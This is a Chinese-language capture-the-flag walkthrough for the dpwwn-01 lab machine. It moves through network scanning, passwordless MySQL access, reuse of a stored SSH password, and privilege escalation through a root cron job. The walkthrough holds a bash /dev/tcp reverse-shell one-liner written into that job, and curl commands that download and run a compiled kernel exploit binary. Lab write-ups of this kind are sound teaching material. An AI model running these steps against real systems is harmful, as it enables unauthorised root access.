## 信息收集

```
nmap -sn 192.168.139.0/24
```

```
root@kali:~# nmap -sn 192.168.139.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-29 12:24 CST
Nmap scan report for 192.168.139.1
Host is up (0.00017s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.139.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:F3:0E:02 (VMware)
Nmap scan report for 192.168.139.129
Host is up (0.00030s latency).
MAC Address: 00:0C:29:F0:9A:2A (VMware)
Nmap scan report for 192.168.139.254
Host is up (0.00024s latency).
MAC Address: 00:50:56:E4:93:57 (VMware)
Nmap scan report for 192.168.139.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.94 seconds
```

#### 端口扫描

```
nmap -sS -sV -T5 -A -p- 192.168.139.129
```

```
STATE SERVICE VERSION
                           OpenSSH 7.4 (protocol 2.0)
22/tcp open ssh
 ssh-hostkev:
    2048 c1:d3:be:39:42:9d:5c:b4:95:2c:5b:2e:20:59:0e:3a (RSA)
    256 43:4a:c6:10:e7:17:7d:a0:c0:c3:76:88:1d:43:a1:8c (ECDSA)
    256 0e:cc:e3:e1:f7:87:73:a1:03:47:b9:e2:cf:1c:93:15 (ED25519)
80/tcp open http
                          Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
    Potentially risky methods: TRACE
 http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
http-title: Apache HTTP Server Test Page powered by CentOS
3306/tcp open mysql MySQL 5.5.60-MariaDB
 3306/tcp open mysql
mysql-info:
    Protocol: 10
    Version: 5.5.60-MariaDB
    Thread ID: 3
    Capabilities flags: 63487
Some Capabilities: IgnoreSigpipes, ODBCClient, Speaks41ProtocolNew, LongPassword, LongColumnFlag, SupportsCompression, SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, FoundRows, ConnectWithDatab
ase, InteractiveClient, IgnoreSpaceBeforeParenthesis, Support41Auth, DontAllowDatabaseTableColumn, SupportsM
ultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
    Status: Autocommit
Salt: f\wbcM8oGUV/&nz=`I/L
|_ Auth Plugin Name: 87
MAC Address: 00:0C:29:F0:9A:2A (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.\overline{9}
Network Distance: 1 hop
```

#### 目录枚举

```
gobuster dir -u http://192.168.139.129 -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-
directories.txt -x .php,.txt,.html
```

```
aft-large-directories.txt -x .php,.txt,.html
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
                   http://192.168.139.129
[+] Url:
[+] Threads:
[+] Wordlist:
                   /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt
                  200,204,301,302,307,401,403
[+] Status codes:
                   gobuster/3.0.1
[+] User Agent:
                   php,txt,html
[+] Extensions:
[+] Timeout:
                   10s
2020/01/29 12:29:04 Starting gobuster
/info.php (Status: 200)
[ERROR] 2020/01/29 12:29:50 [!] parse http://192.168.139.129/error_log: net/url: invalid control character
2020/01/29 12:31:02 Finished
```

# PHP Version 5.4.16

**192.168.139.129/info.php** 



Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686
Oct 30 2018 19:43:22
Apache 2.0 Handler
disabled
/etc
/etc/php.ini
/etc/php.d
/etc/php.d/curl.ini, /etc/php.d/fileinfo.ini, /etc/php.d/json.ini, /etc/php.d /mysql.ini, /etc/php.d/mysql.ini, /etc/php.d/pdo.ini, /etc/php.d/pdo_mysql.ini, /etc/php.d/pdo_sqlite.ini, /etc/php.d/phar.ini, /etc/php.d/sqlite3.ini, /etc/php.d /zip.ini
20100412
20100525
220100525
API220100525,NTS

## 从phpinfo里面可以收集到的信息:

系统信息: Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686

PHP版本信息: 5.4.16

webroot 目录: /var/www/html

allow\_url\_fopen (on) 和allow\_url\_include (off)

asp\_tags (off)

extension\_dir: /usr/lib/php/modules

disable\_functions: no value

有个ssh数据库,

searchsploit也没啥结果, nmap扫到的mysql信息有点多, 考虑mysql

```
root@kali:~# mysql -h 192.168.139.129 -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.5.60-MariaDB MariaDB Server

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement mysql>
```

结果无密码登录进去了,先看看数据库内容,在考虑利用mysql提权

```
Database
| information_schema |
mysql
| performance schema |
ssh
4 rows in set (0.04 sec)
mysql> use ssh;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+----+
| Tables_in_ssh |
users
1 row in set (0.00 sec)
mysql> select * from users
| id | username | password
 1 | mistic | testP@$$swordmistic |
1 row in set (0.01 sec)
```

尝试ssh登录,成功登录

# getshell

```
root@kali:~# ssh mistic@192.168.139.129
The authenticity of host '192.168.139.129 (192.168.139.129)' can't be established.
ECDSA key fingerprint is SHA256:iZN2zJlvGQJAxfgwsFbckKLyH+CuZ/86ERwl01q3a84.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.139.129' (ECDSA) to the list of known hosts.
mistic@192.168.139.129's password:
Permission denied, please try again.
mistic@192.168.139.129's password:
Permission denied, please try again.
mistic@192.168.139.129's password:
Last failed login: Tue Jan 28 23:58:31 EST 2020 from 192.168.139.128 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Thu Aug 1 14:41:37 2019 from 192.168.30.145
[mistic@dpwwn-01 ~]$ sudo -l
我们信任您已经从系统管理员那里了解了日常注意事项。
总结起来无外乎这三点:
   #1) 尊重别人的隐私。
   #2) 输入前要先考虑(后果和风险)。
   #3) 权力越大,责任越大。
[sudo] mistic 的密码:
对不起, 用户 mistic 不能在 dpwwn-01 上运行 sudo.
```

### 提权

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的。

```
python -c 'import pty; pty.spawn("/bin/bash")'
# 有些没有安装Python2, 所以需要换成python3 -c
```

```
查找sudo权限命令
sudo -1
#SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
#当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本
文
件,然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
#查看计划任务
cat /etc/crontab
```

```
[mistic@dpwwn-01 ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
[mistic@dpwwn-01 ~]$ find / -writable -type f 2>/dev/null >/tmp/report.txt
[mistic@dpwwn-01 ~]$ grep -Ev '/proc|/sys' /tmp/report.txt
/var/spool/mail/mistic
/tmp/report.txt
/home/mistic/.bash_logout
/home/mistic/.bash profile
/home/mistic/.bashrc
/home/mistic/logrot.sh
/home/mistic/.bash_history
```

### 再看计划任务的时候有所发现

```
[mistic@dpwwn-01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILT0=root

# For details see man 4 crontabs

# Example of job definition:
# .------- minute (0 - 59)
# | .------ hour (0 - 23)
# | | .------ day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | | |
# * * * * user-name command to be executed

*/3 * * * root /home/mistic/logrot.sh
```

修改/home/mistic/logrot.sh内容为反弹shell即可

### 用msf生成或者自己常用的一句话

```
bash -i >& /dev/tcp/192.168.139.128/1234 0>&1
```

```
root@kali:~# nc -lvvp 1234
listening on [any] 1234 ...
192.168.139.129: inverse host lookup failed: Unknown host
connect to [192.168.139.128] from (UNKNOWN) [192.168.139.129] 56038
bash: no job control in this shell
[root@dpwwn-01 ~]# ls
ls
anaconda-ks.cfg
dpwwn-01-FLAG.txt
[root@dpwwn-01 ~]# cd /root
cd /root
```

```
<mark>kali:∼#</mark> searchsploit kernel 3.10
 Exploit Title
                                                                                                                               Path
                                                                                                                             (/usr/share/exploitdb/)
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x | exploits/linux/local/45516.c
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) -
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) -
                                                                           'Wacom' Multiple Nullpoi
'aiptek' Nullpointer Der
                                                      RHEL 7.1) -
                                                                                                                             exploits/linux/dos/39538.txt
                                                                                                                             exploits/linux/dos/39544.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'digi_acceleport' Nullpo Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer De Linux Kernel 3.10.0 (CentOS / RHEL 7.1)
                                                                                                                             exploits/linux/dos/39543.txt
                                                                                                                             exploits/linux/dos/39542.txt
                                                                                                                             exploits/linux/dos/39537.txt
                                                                                                                             exploits/linux/dos/39541.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor 'treo_attach' Null
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor clie_5_attach Null
                                                                                                                             exploits/linux/dos/39539.txt
                                                                        - visor clie_5_attach Null
                                                                                                                             exploits/linux/dos/39540.txt
Linux Kernel 3.10.0 (CentOS 7) - Denial of Service
                                                                                                                              exploits/linux/dos/41350.c
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'iowarrior' Driver Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'snd-usb-audio' Cr Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_
                                                                                                                              exploits/linux/dos/39556.txt
                                                                                                                              exploits/linux/dos/39555.txt
                                                                                                                              exploits/linux/local/42887.c
Linux Kernel 3.10/3.18 /4.4 - Netfilter IPT_SO_SET_REPLACE Memory
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X
                                                                                                                              exploits/linux/dos/39545.txt
                                                                                                                             exploits/linux x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitr
Linux Kernel 4.8.0-22/3.10.0-327 (Ubuntu 16.10 / RedHat) - 'keyctl
                                                                                                                             exploits/linux/local/31346.c
                                                                                                                             exploits/linux/dos/40762.c
Shellcodes: No Result
```

靶机上wget不可用, curl-o可以代替

gcc不可用,只能事先编译好

查看c文件,发现又两个poc, 删去第二个试试

编译成功

```
curl http://192.168.139.128:65534/poc -o poc
chmod 777 poc
```

```
[mistic@dpwwn-01 ~]$ ./poc
-bash: ./poc: 无法执行二进制文件
```

再删去第一个试试

wp中说GOOGLE 下"bash cannot execute binary file",说是两种原因:第一种是没有可执行权限;第二种是因为是从其他编译环境中拷贝过来的文件。

还是不行。。。

用centos7的环境编译试试

```
[mistic@dpwwn-01 ~]$ ping baidu.com
PING baidu.com (39.156.69.79) 56(84) bytes of data.
64 bytes from 39.156.69.79 (39.156.69.79): icmp_seq=1 ttl=128 time=38.4 ms
64 bytes from 39.156.69.79 (39.156.69.79): icmp_seq=2 ttl=128 time=38.7 ms
--- baidu.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1011ms
rtt min/avg/max/mdev = 38.494/38.617/38.740/0.123 ms
[mistic@dpwwn-01 ~]$ curl http://117.78.1.204:1234/poc -o poc
           % Received % Xferd Average Speed Time Time Curren
Dload Upload Total Spent Left Speed
100 13560 0 0 82508 0 --:--:- 83190
                                                                      Time Current
Left Speed
100 13560 100 13560 0
[mistic@dpwwn-01 ~]$ ls
logrot.sh poc
[mistic@dpwwn-01 ~]$ ./poc
-bash: ./poc: 无法执行二进制文件
[mistic@dpwwn-01 ~]$ rm -rf poc
[mistic@dpwwn-01 ~]$ curl http://117.78.1.204:1234/poc -o poc
            % Received % Xferd Average Speed Time Time Current
Dload Upload Total Spent Left Speed
  % Total
                               0 86984
100 13560 100 13560 0
                                              0 --:--:- 87483
[mistic@dpwwn-01 ~]$ ./poc
-bash: ./poc: 权限不够
[mistic@dpwwn-01 ~]$ ls
logrot.sh poc
[mistic@dpwwn-01 ~]$ chmod 777 poc
[mistic@dpwwn-01 ~]$ ./poc
-bash: ./poc: 无法执行二进制文件
[mistic@dpwwn-01 ~]$
```

还是不行

## 参考链接:

https://blog.csdn.net/weixin 44214107/article/details/103346553